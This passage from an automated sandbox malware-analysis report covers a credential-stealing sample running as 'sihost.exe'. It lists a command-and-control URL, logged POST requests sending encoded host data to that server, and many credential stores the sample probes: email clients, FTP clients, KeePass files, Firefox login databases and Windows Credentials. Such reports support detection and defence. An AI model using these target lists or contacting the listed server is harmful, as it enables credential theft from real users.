"00000000-00003192.00000003.72568.00246000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00003192.00000003.72568.00400000.00000040.mdmp") Found URL "https://sempersim.su/a12/fre.php" - Source: "00000000-00003192.00000003.72568.00400000.00000040.mdmp")31:T6a2,"sihost.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\PokerStars* (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.tlp (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.bscp (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.vnc (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.vnc (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter C:\Foxmail* (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*Mailbox.ini (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.spn (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.spn (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.kdbx (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.kdbx (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.kdb (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.kdb (UID: 00000000-00003192) "sihost.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003192) "sihost.exe" called "FindNextFileW" with parameter S-1-5-21-2092356043-4041700817-663127204-1001 (UID: 00000000-00003192) "sihost.exe" called "FindFirstFileW" with parameter %APPDATA%\Microsoft\Credentials\* (UID: 00000000-00003192)32:T47a,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "sihost") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "sihost") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "sihost") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "sihost") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "sihost") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "sihost") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "sihost") Found reference to API "ZwQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp") Found reference to API "ZwQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp")33:Tb4d,"%s\Foxmail\mail" in Source: 40723-769-0040CE71 "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" in Source: 40723-770-0040D6BD "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook" in Source: 40723-770-0040D6BD "%s\Thunderbird\profiles.ini" in Source: 40723-337-00408C4D "%s\Thunderbird\Profiles\%s" in Source: 40723-337-00408C4D "%s\Postbox\profiles.ini" in Source: 40723-337-00408C4D "%s\Postbox\Profiles\%s" in Source: 40723-337-00408C4D "SOFTWARE\Postbox\Postbox" in Source: 40723-764-00409A03 "WARE\Postbox\Postbox" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "e\16.0\Outlook\Profiles\Outlook" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "%s\Thunderbird\profiles.ini" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "%s\Thunderbird\Profiles\%s" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "%s\Postbox\profiles.ini" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "%s\Postbox\Profiles\%s" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "SOFTWARE\Postbox\Postbox" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "%s\Foxmail\mail" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook" in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp 00000000-00003192.00000000.67782.007D0000.00000040.mdmp 00000000-00003192.00000001.69702.00400000.00000040.mdmp 00000000-00003192.00000003.72568.00400000.00000040.mdmp34:T437,"%s\Microsoft\Credentials" (Indicator: "\microsoft\credentials"; File: "40723-403-0040F980") "%APPDATA%\Microsoft\Credentials\*" (Indicator: "\microsoft\credentials"; File: "00000000-00003192-00000C28-111500224752") "%LOCALAPPDATA%\Microsoft\Credentials\*" (Indicator: "\microsoft\credentials"; File: "00000000-00003192-00000C28-111518612112") "%s\Microsoft\Credentials" (Indicator: "\microsoft\credentials"; File: "00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp") ":\Users\u1gxIGR\AppData\Local\Microsoft\Credentials" (Indicator: "\microsoft\credentials"; File: "00000000-00003192.00000002.71621.00259000.00000004.mdmp, 00000000-00003192.00000003.72568.00259000.00000004.mdmp") ":\Users\u1gxIGR\AppData\Local\Microsoft\Credentials\*" (Indicator: "\microsoft\credentials"; File: "00000000-00003192.00000002.71621.00259000.00000004.mdmp, 00000000-00003192.00000003.72568.00259000.00000004.mdmp")35:T795,"Software\VanDyke\SecureFX" (Indicator: "software\vandyke\securefx") "*quick.dat" (Indicator: "quick.dat") "Software\NCH Software\Fling\Accounts" (Indicator: "software\nch software\fling\accounts") "%s\Estsoft\ALFTP\ESTdb2.dat" (Indicator: "\estsoft\alftp") "%s\Estsoft\ALFTP\ESTdb2.dat" (Indicator: "estdb2.dat") "%s\Cyberduck" (Indicator: "\cyberduck") "%s\FreshWebmaster\FreshFTP\FtpSites.SMF" (Indicator: "freshftp") "%s\BlazeFtp\site.dat" (Indicator: "site.dat") "%s\NetDrive\NDSites.ini" (Indicator: "\netdrive") "%s\NetDrive\NDSites.ini" (Indicator: "ndsites.ini") "%s\NetDrive\NDSites.ini" (Indicator: "sites.ini") "%s\NetDrive2\drives.dat" (Indicator: "\netdrive") "%s\INSoftware\NovaFTP\NovaFTP.db" (Indicator: "\insoftware\novaftp") "%s\INSoftware\NovaFTP\NovaFTP.db" (Indicator: "novaftp.db") "%s\FTPShell\ftpshell.fsi" (Indicator: "ftpshell") "%s\FTPShell\ftpshell.fsi" (Indicator: "ftpshell.fsi") "%s\FTPInfo\ServerList.xml" (Indicator: "ftpinfo") "%s\FTPInfo\ServerList.cfg" (Indicator: "ftpinfo") "%s\DeluxeFTP\sites.xml" (Indicator: "\sites.xml") "%s\BitKinex\bitkinex.ds" (Indicator: "\bitkinex") "%s\BitKinex\bitkinex.ds" (Indicator: "bitkinex.ds") "%s\WS_FTP\WS_FTP.INI" (Indicator: "ws_ftp") "%s\WS_FTP.INI" (Indicator: "ws_ftp") "ws_ftp.ini" (Indicator: "ws_ftp") "%s\NexusFile\userdata\ftpsite.ini" (Indicator: "ftpsite.ini") "%s\NexusFile\userdata\ftpsite.ini" (Indicator: "nexusfile") "%s\NexusFile\ftpsite.ini" (Indicator: "ftpsite.ini") "%s\NexusFile\ftpsite.ini" (Indicator: "nexusfile") "%s\FTPGetter\Profile\servers.xml" (Indicator: "\ftpgetter") "%s\FTPGetter\servers.xml" (Indicator: "\ftpgetter") "Software\Ghisler\Total Commander" (Indicator: "software\ghisler\total commander") "%s\FTP Now\sites.xml" (Indicator: "\sites.xml") "%s\FTP Now\sites.xml" (Indicator: "ftp now") "%s\Staff-FTP\sites.ini" (Indicator: "sites.ini") "%s\Staff-FTP\sites.ini" (Indicator: "staff-ftp")36:T99e,"sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "sihost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")37:Te09,"POST /a12/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 7556D7A0 Content-Length: 192 Connection: close" with payload::==> ", "POST /a12/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 7556D7A0 Content-Length: 192 Connection: close" with payload::==> "12002700000007000000636B61762E727501000E0000007500310067007800490047005200010014000000490051004E004D006B00420059006F0066005100010014000000490051004E004D006B00420059006F0066005100F6030000B70200000000010000000600010001006B00000001000000000000000000000001003000000036003800390037003100310030004200350032004300310036003600450037004600320030004600420046003000420005000000717435467900000000" HTTP/1.0 404 Not Found Connection: close x-powered-by: PHP/5.4.16 content-type: text/html; charset=UTF-8 content-length: 15 date: Sat, 14 Oct 2023 08:50:03 GMT with response body ==>46696C65206E6F7420666F756E642E......., "POST /a12/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 7556D7A0 Content-Length: 192 Connection: close" with payload::==> "12002700000007000000636B61762E727501000E0000007500310067007800490047005200010014000000490051004E004D006B00420059006F0066005100010014000000490051004E004D006B00420059006F0066005100F6030000B7020000000001000000060001000100C62B010001000000000000000000000001003000000036003800390037003100310030004200350032004300310036003600450037004600320030004600420046003000420005000000696A62626C00000000" HTTP/1.0 404 Not Found Connection: close x-powered-by: PHP/5.4.16 content-type: text/html; charset=UTF-8 content-length: 15 date: Sat, 14 Oct 2023 08:50:08 GMT with response body ==>46696C65206E6F7420666F756E642E......., "POST /a12/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 7556D7A0 Content-Length: 165 Connection: close" with payload::==> " "POST /a12/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 7556D7A0 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000007500310067007800490047005200010014000000490051004E004D006B00420059006F0066005100010014000000490051004E004D006B00420059006F0066005100F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.0 404 Not Found Connection: close x-powered-by: PHP/5.4.16 content-type: text/html; charset=UTF-8 content-length: 23 date: Sat 14 Oct 2023 08:50:23 GMT with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /a12/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 7556D7A0 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000007500310067007800490047005200010014000000490051004E004D006B00420059006F0066005100010014000000490051004E004D006B00420059006F0066005100F6030000B7020000000001000000060001000100000001003000000036003800390037003100310030004200350032004300310036003600450037004600320030004600420046003000420038:T478,Found string "FlsFree" (Source: sihost, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: sihost, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: sihost, API is part of module: KERNELBASE.DLL) Found string "FlsAlloc" (Source: sihost, API is part of module: KERNELBASE.DLL) Found string "floor" (Source: sihost, API is part of module: UCRTBASE.DLL) Found string "log10" (Source: sihost, API is part of module: UCRTBASE.DLL) Found string "GetProcessWindowStation" (Source: sihost, API is part of module: USER32.DLL) Found string "GetUserObjectInformationW" (Source: sihost, API is part of module: USER32.DLL) Found string "GetLastActivePopup" (Source: sihost, API is part of module: USER32.DLL) Found string "GetActiveWindow" (Source: sihost, API is part of module: USER32.DLL) Found string "MessageBoxW" (Source: sihost, API is part of module: USER32.DLL) Found string "frexp" (Source: sihost, API is part of module: UCRTBASE.DLL) Found string "ldexp" (Source: sihost, API is part of module: UCRTBASE.DLL) Found string "atan2" (Source: sihost, API is part of module: UCRTBASE.DLL)39:Tade,"%s\32BitFtp.ini" (Indicator: "32bitftp.ini") in Source: 40723-666-0040E882 "%s\Estsoft\ALFTP\ESTdb2.dat" (Indicator: "\alftp\") in Source: 40723-667-0040E8A5 "%s\BlazeFtp\site.dat" (Indicator: "\blazeftp\") in Source: 40723-385-0040E97C "Software\FlashPeak\BlazeFtp\Settings" (Indicator: "\blazeftp\") in Source: 40723-385-0040E97C "%s\NetDrive\NDSites.ini" (Indicator: "\netdrive\") in Source: 40723-807-0040F6B8 "%s\Comodo\IceDragon\profiles.ini" (Indicator: "\comodo\") in Source: 40723-337-00408C4D "%s\Comodo\IceDragon\Profiles\%s" (Indicator: "\comodo\") in Source: 40723-337-00408C4D "%s\INSoftware\NovaFTP\NovaFTP.db" (Indicator: "\insoftware\novaftp\") in Source: 40723-698-0040F72A "%s\FTPInfo\ServerList.xml" (Indicator: "\ftpinfo") in Source: 40723-684-0040F3EA "%s\FTPInfo\ServerList.cfg" (Indicator: "\ftpinfo") in Source: 40723-684-0040F3EA "%s\BitKinex\bitkinex.ds" (Indicator: "\bitkinex\") in Source: 40723-669-0040E8CC "%s\NetSarang\Xftp\Sessions" (Indicator: "\netsarang\") in Source: 40723-724-00410CD1 "%s\NexusFile\userdata\ftpsite.ini" (Indicator: "ftpsite.ini") in Source: 40723-697-0040F707 "%s\NexusFile\ftpsite.ini" (Indicator: "ftpsite.ini") in Source: 40723-697-0040F707 "%s\FTPGetter\Profile\servers.xml" (Indicator: "\ftpgetter") in Source: 40723-683-0040F3C7 "%s\FTPGetter\servers.xml" (Indicator: "\ftpgetter") in Source: 40723-683-0040F3C7 "%s\Notepad++\plugins\config\NppFTP\NppFTP.xml" (Indicator: "nppftp.xml") in Source: 40723-695-0040F6EE "%s\FileZilla\recentservers.xml" (Indicator: "recentservers.xml") in Source: 40723-678-0040F133 "%s\FileZilla\sitemanager.xml" (Indicator: "sitemanager.xml") in Source: 40723-678-0040F133 "%s\wcx_ftp.ini" (Indicator: "wcx_ftp.ini") in Source: 40723-779-00410A09 "%s\GHISLER\wcx_ftp.ini" (Indicator: "wcx_ftp.ini") in Source: 40723-779-00410A09 "%s\FTP Navigator\Ftplist.txt" (Indicator: "ftplist.txt") in Source: 40723-685-0040F40D "ftware\FlashPeak\BlazeFtp\Settings" (Indicator: "\blazeftp\") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "illa\recentservers.xml" (Indicator: "recentservers.xml") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "TP Navigator\Ftplist.txt" (Indicator: "ftplist.txt") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "exusFile\ftpsite.ini" (Indicator: "ftpsite.ini") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "FTP\NovaFTP.db" (Indicator: "\novaftp") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "++\plugins\config\NppFTP\NppFTP.xml" (Indicator: "nppftp.xml") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp "ER\wcx_ftp.ini" (Indicator: "wcx_ftp.ini") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp3a:T1505,"sihost.exe" (Path: "HKCU\SOFTWARE\INCREDIMAIL\IDENTITIES") "sihost.exe" (Path: "HKLM\SOFTWARE\INCREDIMAIL\IDENTITIES") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\0A0D020000000000C000000000000046") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\0A0D020000000000C000000000000046"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\13DBB0C8AA05101A9BB000AA002FC45A") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\13DBB0C8AA05101A9BB000AA002FC45A"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\219640CACDE8074182564FF222ADC964") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\219640CACDE8074182564FF222ADC964"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\3517490D76624C419A828607E2A54604") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\3517490D76624C419A828607E2A54604"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\43614905B9C995438DFD9F56DEBEF65B") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\43614905B9C995438DFD9F56DEBEF65B"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\5F477DAF20AEB94E98A388C30BB06030") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\5F477DAF20AEB94E98A388C30BB06030"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\6E50C7E47821BC4F9949246B37598FD6") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\6E50C7E47821BC4F9949246B37598FD6"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8503020000000000C000000000000046") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8503020000000000C000000000000046"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8B5A8EC90C65774EB93B2E4FB10C91B8") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8B5A8EC90C65774EB93B2E4FB10C91B8"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9207F3E0A3B11019908B08002B2A56C2") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9207F3E0A3B11019908B08002B2A56C2"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\94B4156209024D4DB21718DD730341DA") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\94B4156209024D4DB21718DD730341DA"; Key: "EMAIL") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9B2F2630BD8F2946A34B3D69FD89E6C8") "sihost.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9B2F2630BD8F2946A34B3D69FD89E6C8"; Key: "EMAIL")3b:T17b6,"sihost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\profiles.ini" "sihost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\secmod.db" "sihost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\cert8.db" "sihost.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\key3.db" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\NSSCKBI.DLL" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.SQLITE" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\LOGINS.JSON" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.TXT" "sihost.exe" trying to open a file 